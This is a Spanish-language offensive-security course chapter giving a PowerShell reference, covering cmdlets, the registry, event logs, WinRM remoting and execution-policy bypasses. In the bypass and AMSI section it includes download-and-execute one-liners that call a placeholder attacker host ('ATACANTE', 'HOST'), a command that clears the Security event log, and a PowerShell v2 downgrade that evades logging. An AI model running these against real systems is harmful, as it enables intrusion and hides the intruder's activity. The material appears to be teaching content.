Índice / Módulo 3 — Terminal y Automatización

3.3 PowerShell — referencia técnica

PowerShell es el entorno de scripting nativo de Windows y uno de los vectores de ataque más usados en operaciones ofensivas modernas. Que sea la herramienta del administrador es exactamente lo que lo hace tan útil para el atacante: está instalado en todos los sistemas Windows, tiene acceso total a las APIs del sistema, y su actividad se confunde con la legítima. Esta sección es una referencia técnica, no un tutorial de administración — todo está orientado a entender qué hace cada cosa y cómo se abusa de ello.

3.3.1 Fundamentos de PowerShell para quien viene de Bash

La diferencia fundamental entre Bash y PowerShell no es la sintaxis — es el modelo de datos. Bash trabaja con texto: los comandos producen cadenas y los procesas con grep, awk y sed. PowerShell trabaja con objetos: los cmdlets devuelven objetos .NET con propiedades y métodos, y puedes acceder a ellos directamente sin parsear texto. Eso lo hace más potente y más verboso a la vez.

Equivalencias Bash → PowerShell

powershell — comandos equivalentes a Bash
# PowerShell tiene aliases para los comandos más comunes de Bash/cmd
# Puedes usar ls, cd, cat, echo, cp, mv, rm, mkdir directamente

ls                         # alias de Get-ChildItem
cd C:\Windows              # alias de Set-Location
cat archivo.txt            # alias de Get-Content
echo "texto"               # alias de Write-Output
cp origen destino          # alias de Copy-Item
mv origen destino          # alias de Move-Item
rm archivo.txt             # alias de Remove-Item
mkdir nueva_carpeta        # alias de New-Item -ItemType Directory
pwd                        # alias de Get-Location
ps                         # alias de Get-Process

# Ver todos los aliases disponibles
Get-Alias
Get-Alias -Name ls         # ver a qué cmdlet apunta un alias

Variables, strings y tipos

powershell — variables y tipos de datos
# Las variables empiezan con $ en PowerShell (como en Bash)
$nombre = "operador"
$edad   = 30
$activo = $true        # booleanos: $true y $false (no "true")

# Strings: comillas dobles expanden variables, simples no
"Hola $nombre"         # → Hola operador
'Hola $nombre'         # → Hola $nombre (literal)

# Here-string (equivalente al heredoc de Bash)
$bloque = @"
Este texto puede tener $nombre
y múltiples líneas
"@

# Arrays
$puertos = @(22, 80, 443, 8080)
$puertos[0]            # 22
$puertos.Length        # 4
$puertos += 3389       # añadir elemento

# Hashtables (diccionarios)
$config = @{
    host    = "192.168.1.1"
    puerto  = 22
    usuario = "root"
}
$config["host"]        # 192.168.1.1
$config.puerto         # 22 (acceso por propiedad)

Operadores de comparación

powershell — operadores
# PowerShell usa nombres para los operadores, no símbolos
# (los símbolos estaban ocupados por otras cosas en el shell)

# Comparación numérica y de cadenas
1 -eq 1        # equal
1 -ne 2        # not equal
5 -gt 3        # greater than
5 -ge 5        # greater or equal
3 -lt 5        # less than
3 -le 3        # less or equal

# Cadenas
"hola" -eq "hola"      # $true (insensible a mayúsculas por defecto)
"hola" -ceq "Hola"    # $false (c = case-sensitive)
"archivo.txt" -like "*.txt"    # $true (wildcard)
"error 404" -match "\d{3}"     # $true (regex)
"usuario" -in @("admin","usuario","root")   # $true

# Lógicos
$true -and $false      # $false
$true -or  $false      # $true
-not $false            # $true
!$false                # $true (alias de -not)

Sistema de ayuda: Get-Help y Get-Member

powershell — descubrir cmdlets y propiedades
# Ayuda de un cmdlet
Get-Help Get-Process
Get-Help Get-Process -Examples   # solo los ejemplos
Get-Help Get-Process -Full        # documentación completa

# Buscar cmdlets por nombre parcial o función
Get-Command *process*             # todos los cmdlets con "process"
Get-Command -Verb Get             # todos los cmdlets Get-*
Get-Command -Noun Service         # todos los *-Service

# Get-Member: ver las propiedades y métodos de un objeto
# (fundamental para entender qué puedes hacer con el output de un cmdlet)
Get-Process | Get-Member
Get-Process | Get-Member -MemberType Property   # solo propiedades

# Ver el tipo real de un objeto
(Get-Process | Select-Object -First 1).GetType()
"texto".GetType()                 # System.String
(42).GetType()                    # System.Int32

3.3.2 Pipeline, objetos y filtrado: Where-Object, Select-Object, ForEach-Object

El pipeline de PowerShell pasa objetos completos entre cmdlets, no texto. Eso significa que cuando filtras o seleccionas, trabajas con propiedades reales del objeto — no tienes que parsear la posición de una columna en una cadena de texto como en Bash.

Where-Object: filtrar por condición

powershell — Where-Object
# Where-Object filtra los objetos del pipeline que cumplen una condición
# $_ representa el objeto actual en el pipeline

# Procesos que consumen más de 100MB de RAM
Get-Process | Where-Object { $_.WorkingSet -gt 100MB }

# Alias corto: ? es alias de Where-Object
Get-Process | ? { $_.CPU -gt 10 }

# Sintaxis simplificada (PowerShell 3+)
Get-Process | Where-Object CPU -gt 10
Get-Process | Where-Object Name -like "chrome*"

# Servicios en ejecución
Get-Service | Where-Object { $_.Status -eq "Running" }

# Archivos modificados en las últimas 24 horas
Get-ChildItem C:\Windows\System32 | Where-Object {
    $_.LastWriteTime -gt (Get-Date).AddHours(-24)
}

# Combinar condiciones
Get-Process | Where-Object { $_.CPU -gt 5 -and $_.Name -notlike "idle*" }

Select-Object: elegir propiedades y limitar resultados

powershell — Select-Object
# Seleccionar solo las propiedades que nos interesan
Get-Process | Select-Object Name, Id, CPU, WorkingSet

# Alias: select
Get-Process | select Name, CPU

# Limitar la cantidad de resultados
Get-Process | Select-Object -First 10   # primeros 10
Get-Process | Select-Object -Last 5     # últimos 5
Get-Process | Select-Object -Skip 5     # saltar los primeros 5
Get-Process | Select-Object -Unique     # eliminar duplicados

# Crear propiedades calculadas
Get-Process | Select-Object Name, @{
    Name       = "RAM_MB"
    Expression = { [math]::Round($_.WorkingSet / 1MB, 2) }
}

# Expandir una propiedad que contiene un objeto anidado
Get-Process | Select-Object -ExpandProperty Name
# Devuelve strings directamente, no objetos con propiedad Name
# Equivalente a: Get-Process | ForEach-Object { $_.Name }

# Extraer los nombres de todos los servicios en una línea
(Get-Service).Name

ForEach-Object: ejecutar acciones sobre cada objeto

powershell — ForEach-Object y Sort-Object
# ForEach-Object ejecuta un bloque de script por cada objeto del pipeline
# Alias: % (el más usado en scripts compactos)

Get-Process | ForEach-Object {
    "$($_.Name): $([math]::Round($_.WorkingSet/1MB,1)) MB"
}

# Forma abreviada
Get-Process | % { "$($_.Name) → $($_.Id)" }

# Sort-Object: ordenar por propiedad
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-Process | Sort-Object Name

# Group-Object: agrupar objetos
Get-Service | Group-Object Status
# Count Name    Group
# ----- ----    -----
#   120 Running {AdobeARMservice, ...}
#    58 Stopped {AJRouter, ...}

# Measure-Object: estadísticas de una propiedad
Get-Process | Measure-Object WorkingSet -Sum -Average -Maximum
Get-Content log.txt | Measure-Object -Line -Word -Character
💡
La diferencia real con Bash: en Bash, ps aux | grep chrome | awk '{print $2}' parsea texto frágil que cambia si el formato cambia. En PowerShell, Get-Process chrome | Select-Object Id accede directamente a la propiedad Id del objeto proceso. Si Microsoft cambia cómo imprime el PID en pantalla, el código de PowerShell sigue funcionando.

3.3.3 Gestión de procesos, servicios y registro desde PowerShell

Procesos

powershell — gestión de procesos
# Listar procesos
Get-Process                                  # todos
Get-Process -Name chrome                     # filtrar por nombre
Get-Process -Id 1234                         # por PID

# Ver los procesos que más RAM consumen
Get-Process | Sort-Object WorkingSet -Descending | Select-Object -First 10 `
    Name, Id, @{N="RAM_MB"; E={[math]::Round($_.WorkingSet/1MB,1)}}

# Matar un proceso
Stop-Process -Name notepad
Stop-Process -Id 1234
Stop-Process -Name chrome -Force             # -Force: sin confirmación

# Lanzar un proceso
Start-Process notepad.exe
Start-Process cmd.exe -ArgumentList "/c whoami" -Wait -NoNewWindow

# Lanzar con privilegios elevados
Start-Process powershell.exe -Verb RunAs

# Ver el ejecutable real de cada proceso (útil para detectar suplantaciones)
Get-Process | Select-Object Name, Id, Path | Where-Object { $_.Path -ne $null }

# Detectar procesos sin ruta de ejecutable (pueden ser inyecciones)
Get-Process | Where-Object { $_.Path -eq $null -and $_.Name -ne "Idle" }

Servicios

powershell — gestión de servicios
# Listar servicios
Get-Service                                  # todos
Get-Service -Name WinRM                      # uno concreto
Get-Service | Where-Object { $_.Status -eq "Running" }

# Ver la ruta del ejecutable de cada servicio
# (Get-Service no la muestra — hay que ir al registro o usar WMI)
Get-WmiObject Win32_Service | Select-Object Name, PathName, StartMode, State

# Buscar servicios con rutas sin comillas (vector de escalada de privilegios)
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and $_.PathName -match ' '
} | Select-Object Name, PathName

# Iniciar, detener y reiniciar servicios
Start-Service   -Name Spooler
Stop-Service    -Name Spooler
Restart-Service -Name Spooler

# Cambiar el tipo de inicio de un servicio
Set-Service -Name Spooler -StartupType Disabled   # Automatic|Manual|Disabled

Registro de Windows

PowerShell trata el registro de Windows como un sistema de archivos: puedes navegar por él con cd, listar claves con ls y leer valores con Get-ItemProperty. Los proveedores HKLM: y HKCU: son los puntos de entrada.

powershell — lectura y escritura en el registro
# Navegar por el registro como si fuera un directorio
cd HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion
ls                                            # listar subclaves

# Leer valores de una clave
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ProductName

# Claves de autorun (persistencia y detección de malware)
$autorun_keys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($key in $autorun_keys) {
    Write-Host "`n=== $key ===" -ForegroundColor Yellow
    Get-ItemProperty $key 2>$null
}

# Crear una nueva clave
New-Item -Path "HKCU:\SOFTWARE\MiClave" -Force

# Establecer un valor
Set-ItemProperty -Path "HKCU:\SOFTWARE\MiClave" -Name "Valor" -Value "dato"

# Eliminar una clave y todo su contenido
Remove-Item -Path "HKCU:\SOFTWARE\MiClave" -Recurse

# Buscar en el registro (equivalente a regedit Ctrl+F)
Get-ChildItem -Path HKLM:\ -Recurse -ErrorAction SilentlyContinue |
    Where-Object { $_.Name -match "password" }

Logs de eventos

powershell — consultar el Event Log
# Ver los logs de eventos disponibles
Get-EventLog -List
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 }

# Últimos 20 eventos del log de seguridad
Get-EventLog -LogName Security -Newest 20

# Eventos de inicio de sesión (Event ID 4624)
Get-WinEvent -FilterHashtable @{
    LogName = "Security"
    Id      = 4624
} | Select-Object TimeCreated, Message | Select-Object -First 10

# Eventos de inicio de sesión fallido (Event ID 4625)
Get-WinEvent -FilterHashtable @{
    LogName   = "Security"
    Id        = 4625
    StartTime = (Get-Date).AddHours(-1)   # última hora
}

# Borrar un log de eventos (requiere privilegios de administrador)
Clear-EventLog -LogName Security
[System.Diagnostics.EventLog]::DeleteEventSource("Application")

3.3.4 Remoting: Invoke-Command y New-PSSession

PowerShell Remoting permite ejecutar comandos en máquinas remotas como si estuvieras en la consola local. Usa WinRM (Windows Remote Management) sobre HTTP/HTTPS. Para el atacante con credenciales válidas es una forma de ejecución remota completamente legítima que no levanta las mismas alertas que psexec.

Configuración de WinRM

powershell — habilitar y verificar WinRM
# En el equipo REMOTO: habilitar WinRM (requiere admin)
Enable-PSRemoting -Force
# Configura WinRM, abre el puerto 5985 (HTTP) y 5986 (HTTPS)
# y añade una regla de firewall

# Verificar el estado de WinRM
Get-Service WinRM
Test-WSMan -ComputerName 192.168.1.10    # ¿acepta conexiones remotas?

# En el equipo LOCAL: añadir el host remoto a la lista de confianza
# (necesario si no hay dominio AD)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.10"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"   # confiar en todos (entorno de lab)

# Ver los hosts de confianza configurados
Get-Item WSMan:\localhost\Client\TrustedHosts

Invoke-Command: ejecución remota puntual

powershell — Invoke-Command
# Ejecutar un comando en una máquina remota
Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { whoami }

# Con credenciales explícitas
$cred = Get-Credential                       # solicita usuario y contraseña
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock {
    Get-Process | Sort-Object CPU -Descending | Select-Object -First 5
}

# Pasar variables locales al bloque remoto con $Using:
$ruta = "C:\Windows\System32"
Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock {
    Get-ChildItem $Using:ruta | Where-Object { $_.Extension -eq ".dll" }
}

# Ejecutar en MÚLTIPLES máquinas a la vez
$objetivos = @("192.168.1.10", "192.168.1.11", "192.168.1.12")
Invoke-Command -ComputerName $objetivos -ScriptBlock { hostname; whoami }

# Ejecutar un script local en una máquina remota
Invoke-Command -ComputerName 192.168.1.10 -FilePath .\recon.ps1

New-PSSession: sesión interactiva persistente

powershell — PSSession
# Crear una sesión persistente (la conexión no se cierra entre comandos)
$sesion = New-PSSession -ComputerName 192.168.1.10 -Credential $cred

# Ejecutar comandos en la sesión sin volver a autenticarse
Invoke-Command -Session $sesion -ScriptBlock { Get-Process }
Invoke-Command -Session $sesion -ScriptBlock { Get-Service }

# Entrar en modo interactivo (como SSH)
Enter-PSSession -ComputerName 192.168.1.10 -Credential $cred
# [192.168.1.10]: PS C:\Users\admin> whoami
# → estás en la máquina remota, los comandos se ejecutan allí
Exit-PSSession

# Transferir archivos a través de una sesión
Copy-Item -Path .\herramienta.exe `
          -Destination "C:\Windows\Temp\herramienta.exe" `
          -ToSession $sesion

# Traer un archivo desde el equipo remoto
Copy-Item -Path "C:\Windows\Temp\resultado.txt" `
          -Destination .\resultado.txt `
          -FromSession $sesion

# Listar sesiones abiertas y cerrarlas
Get-PSSession
Remove-PSSession -Session $sesion
Get-PSSession | Remove-PSSession   # cerrar todas

3.3.5 Ejecución de scripts: políticas, bypass y modos de ejecución

PowerShell tiene un sistema de políticas de ejecución que controla qué scripts pueden ejecutarse. Es importante entender que no es una medida de seguridad — la documentación oficial de Microsoft lo dice explícitamente. Es un control de configuración que evita la ejecución accidental de scripts no deseados, pero no está diseñado para resistir a un usuario con intención maliciosa. Hay decenas de formas documentadas de ignorarlo.

Políticas de ejecución

powershell — consultar y cambiar políticas
# Ver la política activa
Get-ExecutionPolicy
Get-ExecutionPolicy -List    # ver políticas por scope (MachinePolicy, UserPolicy, etc.)

# Políticas posibles:
# Restricted     → no permite ejecutar ningún script (defecto en Windows)
# AllSigned      → solo scripts firmados digitalmente
# RemoteSigned   → scripts locales OK; remotos requieren firma
# Unrestricted   → todo permitido, con advertencia en scripts remotos
# Bypass         → todo permitido, sin advertencias

# Cambiar la política (requiere admin para -Scope LocalMachine)
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser     # solo para el usuario actual
Set-ExecutionPolicy Bypass       -Scope LocalMachine    # para todo el sistema

Métodos de bypass

powershell — bypass de políticas de ejecución
# 1. Pasar la política como argumento al lanzar PowerShell
powershell.exe -ExecutionPolicy Bypass -File script.ps1
powershell.exe -ep bypass -c "IEX (Get-Content script.ps1)"

# 2. Leer el script como cadena y ejecutarlo con IEX (Invoke-Expression)
# No ejecuta el archivo, ejecuta el texto — la política no se aplica
IEX (Get-Content .\script.ps1 -Raw)
Get-Content .\script.ps1 | Invoke-Expression

# 3. Descargar y ejecutar en memoria sin tocar disco
# (la política no se aplica a cadenas, solo a archivos)
IEX (New-Object Net.WebClient).DownloadString("http://ATACANTE/script.ps1")

# Forma equivalente con Invoke-RestMethod
IEX (Invoke-RestMethod http://ATACANTE/script.ps1)

# 4. Cambiar la política solo para el proceso actual
Set-ExecutionPolicy Bypass -Scope Process -Force

# 5. Encodearlo en Base64 y pasarlo con -EncodedCommand
$comando  = 'Get-Process | Select-Object Name, Id | Out-File C:\resultados.txt'
$encoded  = [Convert]::ToBase64String(
    [Text.Encoding]::Unicode.GetBytes($comando)
)
powershell.exe -EncodedCommand $encoded

# 6. Usar el pipeline para evitar la escritura de archivos
# Muchas herramientas (PowerSploit, etc.) se cargan así en memoria
powershell -nop -noexit -c "& { IEX (New-Object Net.WebClient).DownloadString('http://HOST/modulo.ps1') }"

AMSI y logging

Aunque la política de ejecución no supone un obstáculo real, Windows tiene otras capas de defensa que sí importan: AMSI (Antimalware Scan Interface) escanea el contenido de los scripts antes de ejecutarlos, y PowerShell Script Block Logging registra todo el código que se ejecuta. Conocer estas capas es tan importante como conocer los bypasses.

powershell — verificar qué protecciones están activas
# Ver si Script Block Logging está habilitado
# (registra todo el código ejecutado en el Event Log)
Get-ItemProperty `
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -ErrorAction SilentlyContinue

# Ver si Transcription está habilitado
# (guarda todo lo que se ve en la pantalla de PowerShell a un archivo)
Get-ItemProperty `
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
    -ErrorAction SilentlyContinue

# Ver el historial de comandos ejecutados en la sesión actual
Get-History
(Get-PSReadLineOption).HistorySavePath   # ruta del archivo de historial persistente

# Versión de PowerShell (útil: v2 no tiene AMSI ni Script Block Logging)
$PSVersionTable.PSVersion
powershell -version 2 -c "whoami"    # si v2 está instalada, evita AMSI y logging

# Constrained Language Mode (CLM) — entorno restringido
$ExecutionContext.SessionState.LanguageMode
# FullLanguage   → sin restricciones
# ConstrainedLanguage → .NET limitado, no se pueden crear objetos arbitrarios
⚠️
La política de ejecución no es seguridad, pero el logging sí lo es: Saltarse Restricted es trivial. Sin embargo, si Script Block Logging está activo, todo el código que ejecutas queda registrado en el Event Log, incluyendo el contenido en memoria de un IEX. Los bypasses de ejecución no evitan el logging — para eso hacen falta técnicas adicionales que se cubren en el módulo de evasión de defensas (11.4).